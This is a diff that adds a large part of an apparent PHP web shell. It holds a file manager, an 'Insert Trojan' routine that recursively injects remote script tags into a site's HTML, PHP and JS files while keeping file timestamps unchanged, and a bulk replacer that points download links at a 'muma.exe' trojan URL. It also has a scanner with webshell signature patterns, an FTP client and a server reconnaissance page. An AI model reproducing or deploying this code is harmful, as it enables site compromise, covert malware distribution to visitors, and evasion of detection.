+			echo "\n".'<tr><td><a href="?s=a&p='.$Filepath.'"><font face="wingdings" size="3">0</font><b>'.$Filename.'</b></a></td>';
+			$Filename = urlencode($Filename);
+			echo '<td><a href="#" onclick="Delok(\''.$Filename.'\',\'?s=a&p='.$THIS_DIR.'&dd='.$Filename.'\');return false;">Del</a> ';
+			echo '<a href="#" onclick="Inputok(\''.$Filename.'\',\'?s=a&p='.$THIS_DIR.'&mn='.$Filename.'&rn=\');return false;">Rename</a></td>';
+			echo '<td><a href="#" onclick="Inputok(\''.$Fileperm.'\',\'?s=a&p='.$THIS_DIR.'&mk='.$Filename.'&md=\');return false;">'.$Fileperm.'</a></td>';
+			echo '<td>'.$Filetime.'</td> ';
+			echo '<td> </td></tr>'."\n";
+			$NUM_D++;
+		}
+	}
+	@rewinddir($h_d);
+        while(false !== ($Filename = @readdir($h_d)))
+	{
+		if($Filename == '.' or $Filename == '..') continue;
+		$Filepath = File_Str($REAL_DIR.'/'.$Filename);
+		if(!is_dir($Filepath))
+		{
+			$Fileurls = str_replace(File_Str($ROOT_DIR.'/'),$GETURL,$Filepath);
+			$Fileperm = substr(base_convert(@fileperms($Filepath),10,8),-4);
+			$Filetime = @date('Y-m-d H:i:s',@filemtime($Filepath));
+			$Filesize = File_Size(@filesize($Filepath));
+			if($Filepath == File_Str(__FILE__)) $fname = '<font color="#FF0000">'.$Filename.'</font>'; else $fname = $Filename;
+			echo "\r\n".' <tr><td> <input type="checkbox" name="files[]" value="'.urlencode($Filepath).'"><a target="_blank" href="'.$Fileurls.'">'.$fname.'</a> </td>';
+			$Filepath = urlencode($Filepath);
+			$Filename = urlencode($Filename);
+                        echo ' <td> <a href="?s=p&fp='.$THIS_DIR.'&fn='.$Filename.'"> Edit </a> ';
+			echo ' <a href="#" onclick="Inputok(\''.$Filename.'\',\'?s=a&p='.$THIS_DIR.'&mn='.$Filename.'&rn=\');return false;"> Rename </a> </td>';
+			echo ' <td>'.$Fileperm.'</td> ';
+			echo ' <td>'.$Filetime.'</td> ';
+			echo ' <td align="right"> <a href="?s=a&df='.$Filepath.'">'.$Filesize.'</a> </td></tr> '."\r\n";
+			$NUM_F++;
+                
+		}
+	}
+	@closedir($h_d);
+print<<<END
+</table>
+<div class="actall"><input type="hidden" name="actall" value="undefined">
+<input type="hidden" name="inver" value="undefined">
+<input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form);"> 
+<input class="bt" type="button" value="Copy" onclick="SubmitUrl('copy selected files to folder: ','{$THIS_DIR}','a');return false;"> 
+<input class="bt" type="button" value="Del" onclick="Delok('selected files','b');return false;"> 
+<input class="bt" type="button" value="Attr" onclick="SubmitUrl('change selected files attr value: ','0666','c');return false;"> 
+<input class="bt" type="button" value="Time" onclick="CheckDate('2010-04-21 17:31:20','d');return false;"> 
+folders({$NUM_D}) / files({$NUM_F})</div>
+</form>
+END;
+	return true;
+}
+
+
+//Insert Trojan
+function Guama_Pass($length)
+{
+	$possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
+	$str = "";
+	while(strlen($str) < $length) $str .= substr($possible,(rand() % strlen($possible)),1);
+	return $str;
+}
+
+function Guama_Auto($gp,$gt,$gl,$gc,$incode,$gk,$gd,$gb,$go)
+{
+	if(($h_d = @opendir($gp)) == NULL) return false;
+	if($go)
+	{
+		preg_match_all("/\[\-([^~]*?)\-\]/i",$gc,$nc);
+		$passm = (int)$nc[1][0];
+		if((!eregi("^[0-9]{1,2}$",$nc[1][0])) || ($passm > 12)) return false;
+	}
+	while(false !== ($Filename = @readdir($h_d)))
+	{
+		if($Filename == '.' || $Filename == '..') continue;
+		if($gl != ''){if(eregi($gl,$Filename)) continue;}
+		$Filepath = File_Str($gp.'/'.$Filename);
+		if(is_dir($Filepath) && $gb) Guama_Auto($Filepath,$gt,$gl,$gc,$incode,$gk,$gd,$gb,$go);
+		if(eregi($gt,$Filename))
+		{
+			$ic = File_Read($Filepath);
+			if(stristr($ic,$gk)) continue;
+			if($go) $gc = str_replace($nc[0][0],Guama_Pass($passm),$gc);
+			if($gd) $ftime = @filemtime($Filepath);
+			if($incode == '1'){if(!stristr($ic,'</head>')) continue; $ic = str_replace('</head>',"\r\n".$gc."\r\n".'</head>'."\r\n",$ic); $ic = str_replace('</HEAD>',"\r\n".$gc."\r\n".'</HEAD>'."\r\n",$ic);}
+			if($incode == '2') $ic = $gc."\r\n".$ic;
+			if($incode == '3') $ic = $ic."\r\n".$gc;
+			echo File_Write($Filepath,$ic,'wb') ? 'ok:'.$Filepath.'<br>'."\r\n" : 'err:'.$Filepath.'<br>'."\r\n";
+			if($gd) @touch($Filepath,$ftime);
+			ob_flush();
+			flush();
+		}
+	}
+	@closedir($h_d);
+	return true;
+}
+
+function Guama_b()
+{
+	if((!empty($_POST['gp'])) && (!empty($_POST['gt'])) && (!empty($_POST['gc'])))
+	{
+		$gk = '';
+		$go = false;
+		$gt = str_replace('.','\\.',$_POST['gt']);
+		$gl = isset($_POST['gl']) ? str_replace('.','\\.',$_POST['gl']) : '';
+		$gd = isset($_POST['gd']) ? true : false;
+		$gb = ($_POST['gb'] == 'a') ? true : false;
+		if(isset($_POST['gx'])){$gk = $_POST['gc'];if(stristr($_POST['gc'],'[-') && stristr($_POST['gc'],'-]')){$temp = explode('[-',$_POST['gc']); $gk = $temp[0]; $go = true;}}
+		echo Guama_Auto($_POST['gp'],$gt,$gl,$_POST['gc'],$_POST['incode'],$gk,$gd,$gb,$go) ? 'Done' : 'Abort';
+		echo '<br><input class="bt" type="button" value="back" onclick="history.back();">';
+		return false;
+	}
+	$FILE_DIR = File_Str(dirname(__FILE__));
+	$ROOT_DIR = File_Mode();
+print<<<END
+<script language="javascript">
+function Fulll(i){
+	if(i==0) return false;
+  Str = new Array(5);
+  if(i <= 2){Str[1] = "{$ROOT_DIR}";Str[2] = "{$FILE_DIR}";sform.gp.value = Str[i];}
+  else{Str[3] = ".htm|.html|.shtml";Str[4] = ".htm|.html|.shtml|.asp|.php|.jsp|.cgi|.aspx|.do";Str[5] = ".js";sform.gt.value = Str[i];}
+  return true;
+}
+function autorun(){
+	if(document.getElementById('gp').value == ''){alert('path can not be empty');return false;}
+	if(document.getElementById('gt').value == ''){alert('type can not be empty');return false;}
+	if(document.getElementById('gc').value == ''){alert('code can not be empty');return false;}
+	document.getElementById('sform').submit();
+}
+</script>
+<form method="POST" name="sform" id="sform" action="?s=b">
+<div class="actall" style="height:35px;">Path: <input type="text" name="gp" id="gp" value="{$ROOT_DIR}" style="width:500px;">
+<select onchange='return Fulll(options[selectedIndex].value)'>
+<option value="0" selected>--select range--</option>
+<option value="1">site root folder</option>
+<option value="2">current folder</option>
+</select></div>
+<div class="actall" style="height:35px;">Type: <input type="text" name="gt" id="gt" value=".htm|.html|.shtml" style="width:500px;">
+<select onchange='return Fulll(options[selectedIndex].value)'>
+<option value="0" selected>--select  type--</option>
+<option value="3">html</option>
+<option value="4">script+html</option>
+<option value="5">JS</option>
+</select></div>
+<div class="actall" style="height:35px;">Filter: <input type="text" name="gl" value="templet|templets|default|editor|fckeditor.html" style="width:500px;" disabled>
+<input type="radio" name="inout" onclick="gl.disabled=false;">Open <input type="radio" name="inout" onclick="gl.disabled=true;" checked>Close</div>
+<div class="actall">Insert Code: <textarea name="gc" id="gc" style="width:610px;height:180px;">&lt;script language=javascript src="http://www.baidu.com/ad.js?[-6-]"&gt;&lt;/script&gt;</textarea>
+<div class="msgbox">挂马变形说明: 程序自动寻找[-6-]标签,替换为随机字符,6表示六位随机字符,最大12位,如果不变形可以不加[-6-]标签.
+<br>Example: &lt;script language=javascript src="http://www.baidu.com/ad.js?EMTDSU"&gt;&lt;/script&gt;</div></div>
+<div class="actall" style="height:35px;"><input type="radio" name="incode" value="1" checked>insert before &lt;/head&gt; 
+<input type="radio" name="incode" value="2">insert the top of file 
+<input type="radio" name="incode" value="3">insert the end of file</div>
+<div class="actall" style="height:30px;"><input type="checkbox" name="gx" value="1" checked>Automatic filter double code <input type="checkbox" name="gd" value="1" checked>keep file time unchanged</div>
+<div class="actall" style="height:50px;"><input type="radio" name="gb" value="a" checked>applied to current folder,subfolders and files
+<br><input type="radio" name="gb" value="b">only applied to current folder</div>
+<div class="actall"><input class="bt" type="button" value="Insert" onclick="autorun();"></div>
+</form>
+END;
+return true;
+}
+
+//clean code
+
+function Qingma_Auto($qp,$qt,$qc,$qd,$qb)
+{
+	if(($h_d = @opendir($qp)) == NULL) return false;
+	while(false !== ($Filename = @readdir($h_d)))
+	{
+		if($Filename == '.' || $Filename == '..') continue;
+		$Filepath = File_Str($qp.'/'.$Filename);
+		if(is_dir($Filepath) && $qb) Qingma_Auto($Filepath,$qt,$qc,$qd,$qb);
+		if(eregi($qt,$Filename))
+		{
+			$ic = File_Read($Filepath);
+			if(!stristr($ic,$qc)) continue;
+			$ic = str_replace($qc,'',$ic);
+			if($qd) $ftime = @filemtime($Filepath);
+			echo File_Write($Filepath,$ic,'wb') ? 'ok:'.$Filepath.'<br>'."\r\n" : 'err:'.$Filepath.'<br>'."\r\n";
+			if($qd) @touch($Filepath,$ftime);
+			ob_flush();
+			flush();
+		}
+	}
+	@closedir($h_d);
+	return true;
+}
+
+function Qingma_c()
+{
+	if((!empty($_POST['qp'])) && (!empty($_POST['qt'])) && (!empty($_POST['qc'])))
+	{
+		$qt = str_replace('.','\\.',$_POST['qt']);
+		$qd = isset($_POST['qd']) ? true : false;
+		$qb = ($_POST['qb'] == 'a') ? true : false;
+		echo Qingma_Auto($_POST['qp'],$qt,$_POST['qc'],$qd,$qb) ? 'Done' : 'Abort';
+		echo '<br><input class="bt" type="button" value="back" onclick="history.back();">';
+		return false;
+	}
+	$FILE_DIR = File_Str(dirname(__FILE__));
+	$ROOT_DIR = File_Mode();
+print<<<END
+<script language="javascript">
+function Fullll(i){
+	if(i==0) return false;
+  Str = new Array(5);
+  if(i <= 2){Str[1] = "{$ROOT_DIR}";Str[2] = "{$FILE_DIR}";xform.qp.value = Str[i];}
+	else{Str[3] = ".htm|.html|.shtml";Str[4] = ".htm|.html|.shtml|.asp|.php|.jsp|.cgi|.aspx|.do";Str[5] = ".js";xform.qt.value = Str[i];}
+  return true;
+}
+function autoup(){
+	if(document.getElementById('qp').value == ''){alert('path can not be empty');return false;}
+	if(document.getElementById('qt').value == ''){alert('type can not be empty');return false;}
+	if(document.getElementById('qc').value == ''){alert('code can not be empty');return false;}
+	document.getElementById('xform').submit();
+}
+</script>
+<form method="POST" name="xform" id="xform" action="?s=c">
+<div class="actall" style="height:35px;">Path: <input type="text" name="qp" id="qp" value="{$ROOT_DIR}" style="width:500px;">
+<select onchange='return Fullll(options[selectedIndex].value)'>
+<option value="0" selected>--select range--</option>
+<option value="1">site root folder</option>
+<option value="2">current folder</option>
+</select></div>
+<div class="actall" style="height:35px;">Type: <input type="text" name="qt" id="qt" value=".htm|.html|.shtml" style="width:500px;">
+<select onchange='return Fullll(options[selectedIndex].value)'>
+<option value="0" selected>--select type--</option>
+<option value="3">html</option>
+<option value="4">script+html</option>
+<option value="5">js</option>
+</select></div>
+<div class="actall">Clean Code <textarea name="qc" id="qc" style="width:610px;height:180px;">&lt;script language=javascript src="http://www.baidu.com/ad.js"&gt;&lt;/script&gt;</textarea></div>
+<div class="actall" style="height:30px;"><input type="checkbox" name="qd" value="1" checked>keep file time unchanged</div>
+<div class="actall" style="height:50px;"><input type="radio" name="qb" value="a" checked>applied to current folder,subfolders and files
+<br><input type="radio" name="qb" value="b">only applied to current folder</div>
+<div class="actall"><input class="bt" type="button" value="begin" onclick="autoup();"></div>
+</form>
+END;
+	return true;
+}
+
+//bulk replace
+
+function Tihuan_Auto($tp,$tt,$th,$tca,$tcb,$td,$tb)
+{
+	if(($h_d = @opendir($tp)) == NULL) return false;
+	while(false !== ($Filename = @readdir($h_d)))
+	{
+		if($Filename == '.' || $Filename == '..') continue;
+		$Filepath = File_Str($tp.'/'.$Filename);
+		if(is_dir($Filepath) && $tb) Tihuan_Auto($Filepath,$tt,$th,$tca,$tcb,$td,$tb);
+		$doing = false;
+		if(eregi($tt,$Filename))
+		{
+			$ic = File_Read($Filepath);
+			if($th)
+			{
+				if(!stristr($ic,$tca)) continue;
+				$ic = str_replace($tca,$tcb,$ic);
+				$doing = true;
+			}
+			else
+			{
+				preg_match_all("/\<a href\=\"([^~]*?)\"/i",$ic,$nc);
+				for($i = 0;$i < count($nc[1]);$i++){if(eregi($tca,$nc[1][$i])){$ic = str_replace($nc[1][$i],$tcb,$ic);$doing = true;}}
+			}
+			if($td) $ftime = @filemtime($Filepath);
+			if($doing) echo File_Write($Filepath,$ic,'wb') ? 'ok:'.$Filepath.'<br>'."\r\n" : 'err:'.$Filepath.'<br>'."\r\n";
+			if($td) @touch($Filepath,$ftime);
+			ob_flush();
+			flush();
+		}
+	}
+	@closedir($h_d);
+	return true;
+}
+
+function Tihuan_d()
+{
+	if((!empty($_POST['tp'])) && (!empty($_POST['tt'])))
+	{
+		$tt = str_replace('.','\\.',$_POST['tt']);
+		$td = isset($_POST['td']) ? true : false;
+		$tb = ($_POST['tb'] == 'a') ? true : false;
+		$th = ($_POST['th'] == 'a') ? true : false;
+		if($th) $_POST['tca'] = str_replace('.','\\.',$_POST['tca']);
+		echo Tihuan_Auto($_POST['tp'],$tt,$th,$_POST['tca'],$_POST['tcb'],$td,$tb) ? 'Done' : 'Abort';
+		echo '<br><input class="bt" type="button" value="back" onclick="window.location=\'?s=d\'">';
+		return false;
+	}
+	$FILE_DIR = File_Str(dirname(__FILE__));
+	$ROOT_DIR = File_Mode();
+print<<<END
+<script language="javascript">
+function Fulllll(i){
+	if(i==0) return false;
+  Str = new Array(5);
+  if(i <= 2){Str[1] = "{$ROOT_DIR}";Str[2] = "{$FILE_DIR}";tform.tp.value = Str[i];}
+	else{Str[3] = ".htm|.html|.shtml";Str[4] = ".htm|.html|.shtml|.asp|.php|.jsp|.cgi|.aspx|.do";Str[5] = ".js";tform.tt.value = Str[i];}
+  return true;
+}
+function showth(th){
+	if(th == 'a') document.getElementById('setauto').innerHTML = '<tr>Searchment</tr> <textarea name="tca" id="tca" style="width:610px;height:100px;"></textarea><br>Replacement <textarea name="tcb" id="tcb" style="width:610px;height:100px;"></textarea>';
+	if(th == 'b') document.getElementById('setauto').innerHTML = '<br><tr>Download Suffix</tr> <input type="text" name="tca" id="tca" value=".exe|.z0|.rar|.zip|.gz|.torrent" style="width:500px;"><br><br>&nbsp&nbsp&nbspReplacement&nbsp&nbsp&nbsp<input type="text" name="tcb" id="tcb" value="http://www.baidu.com/download/muma.exe" style="width:500px;">';
+	return true;
+}
+function autoup(){
+	if(document.getElementById('tp').value == ''){alert('path can not be empty');return false;}
+	if(document.getElementById('tt').value == ''){alert('type can not be empty');return false;}
+	if(document.getElementById('tca').value == '' || document.getElementById('tcb').value == ''){alert('replacement can not be empty');return false;}
+	document.getElementById('tform').submit();
+}
+</script>
+<form method="POST" name="tform" id="tform" action="?s=d">
+<div class="actall" style="height:35px;">Path: <input type="text" name="tp" id="tp" value="{$ROOT_DIR}" style="width:500px;">
+<select onchange='return Fulllll(options[selectedIndex].value)'>
+<option value="0" selected>--select range--</option>
+<option value="1">site root folder</option>
+<option value="2">current folder</option>
+</select></div>
+<div class="actall" style="height:35px;">Type: <input type="text" name="tt" id="tt" value=".htm|.html|.shtml" style="width:500px;">
+<select onchange='return Fulllll(options[selectedIndex].value)'>
+<option value="0" selected>--select type--</option>
+<option value="3">html</option>
+<option value="4">script+html</option>
+<option value="5">js</option>
+</select></div>
+<div class="actall" style="height:235px;"><input type="radio" name="th" value="a" onclick="showth('a')" checked>Designated Content Of The Repalce File <input type="radio" name="th" value="b" onclick="showth('b')">Download Url Of The Replace File<br>
+<div id="setauto">Searchment:&nbsp <textarea name="tca" id="tca" style="width:610px;height:100px;"></textarea><br>Replacement: <textarea name="tcb" id="tcb" style="width:610px;height:100px;"></textarea></div></div>
+<div class="actall" style="height:30px;"><input type="checkbox" name="td" value="1" checked>keep file time unchanged</div>
+<div class="actall" style="height:50px;"><input type="radio" name="tb" value="a" checked>applied to current folder,subfolders and files
+<br><input type="radio" name="tb" value="b">only applied to current folder</div>
+<div class="actall"><input class="bt" type="button" value="Begin" onclick="autoup();"></div>
+</form>
+END;
+	return true;
+}
+
+//clean trojan
+
+function Antivirus_Auto($sp,$features,$st)
+{
+	if(($h_d = @opendir($sp)) == NULL) return false;
+	$ROOT_DIR = File_Mode();
+	while(false !== ($Filename = @readdir($h_d)))
+	{
+		if($Filename == '.' || $Filename == '..') continue;
+		$Filepath = File_Str($sp.'/'.$Filename);
+		if(is_dir($Filepath)) Antivirus_Auto($Filepath,$features,$st);
+		if(eregi($st,$Filename))
+		{
+			if($Filepath == File_Str(__FILE__)) continue;
+			$ic = File_Read($Filepath);
+			foreach($features as $var => $key)
+			{
+				if(stristr($ic,$key))
+				{
+					$Fileurls = str_replace($ROOT_DIR,'http://'.$_SERVER['SERVER_NAME'].'/',$Filepath);
+					$Filetime = @date('Y-m-d H:i:s',@filemtime($Filepath));
+					echo '<a href="'.$Fileurls.'" target="_blank"><font color="#FF0000">'.$Filepath.'</font></a><br>【<a href="?s=e&fp='.urlencode($sp).'&fn='.$Filename.'&dim='.urlencode($key).'" target="_blank">Edit</a> <a href="?s=e&df='.urlencode($Filepath).'" target="_blank">Del</a>】 ';
+					echo '【'.$Filetime.'】 <font color="#FF0000">'.$var.'</font><br><br>';
+					break;
+				}
+			}
+			ob_flush();
+			flush();
+		}
+	}
+	@closedir($h_d);
+	return true;
+}
+
+function Antivirus_e()
+{
+	if(!empty($_GET['df'])){echo $_GET['df'];if(@unlink($_GET['df'])){echo ' <font style=font:11pt color=ff0000>del successfully</font>';}else{@chmod($_GET['df'],0666);echo @unlink($_GET['df']) ? ' <font style=font:11pt color=ff0000>del successfully</font>' : ' <font style=font:11pt color=ff0000>del faild</font>';} return false;}
+	if((!empty($_GET['fp'])) && (!empty($_GET['fn'])) && (!empty($_GET['dim']))) { File_Edit($_GET['fp'],$_GET['fn'],$_GET['dim']); return false; }
+	$SCAN_DIR = (File_Mode() == '') ? File_Str(dirname(__FILE__)) : File_Mode();
+	$features_php = array('ftp.class.php'=>'ftp.class.php','cha88.cn'=>'cha88.cn','Security Angel Team'=>'Security Angel Team','read()'=>'->read()','readdir'=>'readdir(','return string soname'=>'returns string soname','eval()'=>'eval(gzinflate(','eval(base64_decode())'=>'eval(base64_decode(','eval($_POST)'=>'eval($_POST','eval($_REQUEST)'=>'eval($_REQUEST','eval ($_)'=>'eval ($_','copy()'=>'copy($_FILES','copy ()'=>'copy ($_FILES','move_uploaded_file()'=>'move_uploaded_file($_FILES','move_uploaded_file ()'=>'move_uploaded_file ($_FILES','str_replace()'=>'str_replace(\'\\\\\',\'/\',');
+	$features_asx = array('绝对路径'=>'绝对路径','输入马的内容'=>'输入马的内容','fso.createtextfile()'=>'fso.createtextfile(path,true)','<%execute(request())%>'=>'<%execute(request','<%eval request()%>'=>'<%eval request','execute session()'=>'execute session(','--Created!'=>'--Created!','WScript.Shell'=>'WScript.Shell','<%s LANGUAGE = VBScript.Encode %>'=>'<%@ LANGUAGE = VBScript.Encode %>','www.rootkit.net.cn'=>'www.rootkit.net.cn','Process.GetProcesses'=>'Process.GetProcesses','lake2'=>'lake2');
+print<<<END
+<div class="actall" style="height:100px;"><form method="POST" name="tform" id="tform" action="?s=e">
+Path: <input type="text" name="sp" id="sp" value="{$SCAN_DIR}" style="width:400px;">
+<select name="st">
+<option value="php">phpshell</option>
+<option value="asx">aspshell+aspxshell</option>
+<option value="ppp">phpshell+aspshell+aspxshell</option>
+</select>
+<input class="bt" type="submit" value="Scan">
+</form><br>
+END;
+	if(!empty($_POST['sp']))
+	{
+		if($_POST['st'] == 'php'){$features_all = $features_php; $st = '\.php|\.inc|\.php4|\.php3|\._hp|\;';}
+		if($_POST['st'] == 'asx'){$features_all = $features_asx; $st = '\.asp|\.asa|\.cer|\.aspx|\.ascx|\.cdx|\;';}
+		if($_POST['st'] == 'ppp'){$features_all = array_merge($features_php,$features_asx); $st = '\.php|\.inc|\.php4|\.php3|\._hp|\.asp|\.asa|\.cer|\.cdx|\.aspx|\.ascx|\;';}
+		echo Antivirus_Auto($_POST['sp'],$features_all,$st) ? 'Done' : 'Abort';
+	}
+	echo '</div>';
+	return true;
+}
+//search file
+function Findfile_Auto($sfp,$sfc,$sft,$sff,$sfb)
+{
+	//echo $sfp.'<br>'.$sfc.'<br>'.$sft.'<br>'.$sff.'<br>'.$sfb;
+	if(($h_d = @opendir($sfp)) == NULL) return false;
+	while(false !== ($Filename = @readdir($h_d)))
+	{
+		if($Filename == '.' || $Filename == '..') continue;
+		if(eregi($sft,$Filename)) continue;
+		$Filepath = File_Str($sfp.'/'.$Filename);
+		if(is_dir($Filepath) && $sfb) Findfile_Auto($Filepath,$sfc,$sft,$sff,$sfb);
+		if($sff)
+		{
+			if(stristr($Filename,$sfc))
+			{
+				echo '<a target="_blank" href="?s=p&fp='.urlencode($sfp).'&fn='.urlencode($Filename).'"> '.$Filepath.' </a><br>'."\r\n";
+				ob_flush();
+				flush();
+			}
+		}
+		else
+		{
+			$File_code = File_Read($Filepath);
+			if(stristr($File_code,$sfc))
+			{
+				echo '<a target="_blank" href="?s=p&fp='.urlencode($sfp).'&fn='.urlencode($Filename).'"> '.$Filepath.' </a><br>'."\r\n";
+				ob_flush();
+				flush();
+			}
+		}
+	}
+	@closedir($h_d);
+	return true;
+}
+
+function Findfile_j()
+{
+	if(!empty($_GET['df'])){echo $_GET['df'];if(@unlink($_GET['df'])){echo '<font style=font:11pt color=ff0000>del successfully</font>';}else{@chmod($_GET['df'],0666);echo @unlink($_GET['df']) ? '<font style=font:11pt color=ff0000>del successfully</font>' : '<font style=font:11pt color=ff0000>del faild</font>';} return false;}
+	if((!empty($_GET['fp'])) && (!empty($_GET['fn'])) && (!empty($_GET['dim']))) { File_Edit($_GET['fp'],$_GET['fn'],$_GET['dim']); return false; }
+	$SCAN_DIR = isset($_POST['sfp']) ? $_POST['sfp'] : File_Mode();
+	$SCAN_CODE = isset($_POST['sfc']) ? $_POST['sfc'] : 'config';
+	$SCAN_TYPE = isset($_POST['sft']) ? $_POST['sft'] : '.mp3|.mp4|.avi|.swf|.jpg|.gif|.png|.bmp|.gho|.rar|.exe|.zip';
+print<<<END
+<form method="POST" name="jform" id="jform" action="?s=u">
+<div class="actall">Scan Path <input type="text" name="sfp" value="{$SCAN_DIR}" style="width:600px;"></div>
+<div class="actall">&nbspFile Filter&nbsp <input type="text" name="sft" value="{$SCAN_TYPE}" style="width:600px;"></div>
+<div class="actall">Keywords <input type="text" name="sfc" value="{$SCAN_CODE}" style="width:395px;">
+<input type="radio" name="sff" value="a" checked>search filename 
+<input type="radio" name="sff" value="b">search include keywords</div>
+<div class="actall" style="height:50px;"><input type="radio" name="sfb" value="a" checked>applied to current folder,subfolders and files
+<br><input type="radio" name="sfb" value="b">only applied to current folder</div>
+<div class="actall"><input class="bt" type="submit" value="scan" style="width:80px;"></div>
+</form>
+END;
+	if((!empty($_POST['sfp'])) && (!empty($_POST['sfc'])))
+	{
+		echo '<div class="actall">';
+		$_POST['sft'] = str_replace('.','\\.',$_POST['sft']);
+		$sff = ($_POST['sff'] == 'a') ? true : false;
+		$sfb = ($_POST['sfb'] == 'a') ? true : false;
+		echo Findfile_Auto($_POST['sfp'],$_POST['sfc'],$_POST['sft'],$sff,$sfb) ? '<font style=font:11pt color=ff0000>Done</font>' : '<font style=font:11pt color=ff0000>Error</font>';
+		echo '</div>';
+	}
+	return true;
+}
+//ftp connect
+function filecollect($dir,$filelist) {
+   $files = ftp_nlist($conn,$dir); 
+   return $files;
+   }
+function ftp_php(){
+$dir = "";
+$ftphost = isset($_POST['ftphost']) ? $_POST['ftphost'] : '127.0.0.1';
+$ftpuser = isset($_POST['ftpuser']) ? $_POST['ftpuser'] : 'root';
+$ftppass = isset($_POST['ftppass']) ? $_POST['ftppass'] : 'root';
+$ftplist = isset($_POST['list']) ? $_POST['list'] : '';
+$ftpfolder = isset($_POST['ftpfolder']) ? $_POST['ftpfolder'] : '/';
+$ftpfolder = strtr($ftpfolder,"\\","/");
+$files = isset($_POST['readfile']) ? $_POST['readfile'] : '';
+print<<<END
+<br><br><div class="actall"><h5>connect ftp server with php</h5><br></div>
+<form method="POST" name="" action=""><br>
+<div class="actall">Host:<input type="text" name="ftphost" value="{$ftphost}" style="width:100px">
+User:<input type="text" name="ftpuser" value="{$ftpuser}" style="width:100px">
+Pass:<input type="text" name="ftppass" value="{$ftppass}" style="width:100px"><br><br>
+<input type="hidden" name="readfile" value="" style="width:200px">
+folder:<input type="text" name="ftpfolder" value="{$ftpfolder}" style="width:200px">
+<input type="hidden" name="list" value="list">
+<input class="bt" type="submit" name="list" value="list" style="width:40px"><br><br></form></div>
+END;
+if($ftplist == 'list'){
+$conn = @ftp_connect($ftphost) or die("could not connect to ftp server");
+    if(@ftp_login($conn,$ftpuser,$ftppass)){
+    $filelists = @ftp_nlist( $conn, $ftpfolder );
+    echo "<pre>";
+    echo "current folder is <font color='#FF0000'>$ftpfolder</font>:<br>";
+    if(is_array($filelists))
+    {
+    foreach ($filelists as $file)
+    {
+       $file = strtr($file,"\\","/");
+       $size_file =@ftp_size($conn, $file);
+       if ( $size_file == -1)
+           {
+           $a=$a.basename($file)."<br>";
+           }
+       else
+           {
+           $b=$b.basename($file)."				".$size_file."B</br>";
+           }
+    }
+    }
+    echo $a;
+    echo $b;
+    echo "</pre>";
+    }
+    }
+print<<<END
+<form method="POST" name="" action="" >
+<div class="actall">filename:<input type="text" name="readfile" value="{$files}" style="width:200px">
+<input type="hidden" name="read" value="read">
+<input class="bt" type="submit" name="read" value="read" style="width:40px"><br><br></form></div>
+END;
+$readaction = isset($_POST['read']) ? $_POST['read'] : '';
+if ($readaction == 'read') {
+    $handle = @file_get_contents("ftp://$ftpuser:$ftppass@$ftphost/$files", "r");
+    $handle = htmlspecialchars($handle);
+    $handle = str_replace("\n", "<br>", $handle);
+    echo "the content of <font color='#FF0000'>$files</font> is:<br><br>";
+    echo $handle;
+    }
+print<<<END
+<form method="post" enctype="multipart/form-data" name="" action="">
+<div class="actall">folder:<input type="text" name="cdir" value="{$cdir}" style="width:100px">
+<input type="file" name="upload" value="upload" style="width:200px;height:22px;">
+<input type="hidden" name="upfile" value="upfile">
+<input class="bt" type="submit" name="submit" value="upfile" style="width:40px"><br><br></form></div>
+END;
+$upaction = isset($_POST['upfile']) ? $_POST['upfile'] : '' ;    
+if ($upaction == 'upfile') {
+    $cdir = isset($_POST['cdir']) ? $_POST['cdir'] : '/';
+    $conn = @ftp_connect($ftphost) or die("could not connect to ftp server");
+    if(@ftp_login($conn,$ftpuser,$ftppass)){
+        @ftp_chdir($conn, $cdir);
+        $res_code = @ftp_put($conn,$_FILES['upload']['name'],$_FILES['upload']['tmp_name'], FTP_BINARY,0);
+        if (empty($res_code)){
+            echo '<font color="#FF67A0">ftp upload faild</font><br>';
+            }
+         else{
+             echo '<font color="#FF67A0">ftp upload successful</font><br>';
+             } 
+        }
+    }
+print<<<END
+<form method="POST" enctype="multipart/form-data" name="" action="">
+<div class="actall">path:<input type="text" name="downfile" value="{$getfile}" style="width:100px">
+<input type="hidden" name="getfile" value="down">
+<input class="bt" type="submit" name="down" value="down" style="width:40px"><br><br></form></div>
+END;
+$getfile = isset($_POST['downfile']) ? $_POST['downfile'] : '';
+$getaction = isset($_POST['getfile']) ? $_POST['getfile'] : '';   
+if ($getaction == 'down' && $getfile !=''){
+function php_ftp_download($filename){   
+global $ftphost,$ftpuser,$ftppass;              
+  $ftp_path = dirname($filename)   .   "/";         
+  $select_file = basename($filename);        
+  $ftp = @ftp_connect($ftphost);        
+  if($ftp){   
+        if(@ftp_login($ftp, $ftpuser, $ftppass)){        
+        if(@ftp_chdir($ftp,$ftp_path))   {                              
+        $tmpfile = tempnam(getcwd(),"temp");
+        if(ftp_get($ftp,$tmpfile,$select_file,FTP_BINARY)){       
+          ftp_quit($ftp);      
+          header("Content-Type:application/octet-stream");   
+          header("Content-Disposition:attachment;  filename=" . $select_file);   
+          unlink($tmpfile); 
+          exit;   
+          }   
+         }   
+          }   
+      }   
+      ftp_quit($ftp);   
+  }
+php_ftp_download($getfile); 
+}
+}
+//server info
+
+function Info_Cfg($varname){switch($result = get_cfg_var($varname)){case 0: return "No"; break; case 1: return "Yes"; break; default: return $result; break;}}
+function Info_Fun($funName){return (false !== function_exists($funName)) ? "Yes" : "No";}
+function Info_f()
+{
+	$dis_func = get_cfg_var("disable_functions");
+	$upsize = get_cfg_var("file_uploads") ? get_cfg_var("upload_max_filesize") : "upfile forbidden";
+	$adminmail = (isset($_SERVER['SERVER_ADMIN'])) ? "<a href=\"mailto:".$_SERVER['SERVER_ADMIN']."\">".$_SERVER['SERVER_ADMIN']."</a>" : "<a href=\"mailto:".get_cfg_var("sendmail_from")."\">".get_cfg_var("sendmail_from")."</a>";
+	if($dis_func == ""){$dis_func = "No";}else{$dis_func = str_replace(" ","<br>",$dis_func);$dis_func = str_replace(",","<br>",$dis_func);}
+	$phpinfo = (!eregi("phpinfo",$dis_func)) ? "Yes" : "No";
+	$info = array(
+		array("server time",date("Y-m-d h:i:s",time())),
+		array("server domain","<a href=\"http://".$_SERVER['SERVER_NAME']."\" target=\"_blank\">".$_SERVER['SERVER_NAME']."</a>"),
+		array("server ip",gethostbyname($_SERVER['SERVER_NAME'])),
+		array("server os",PHP_OS),
+		array("server os language",$_SERVER['HTTP_ACCEPT_LANGUAGE']),
+		array("server powerby",$_SERVER['SERVER_SOFTWARE']),
+		array("your IP",getenv('REMOTE_ADDR')),
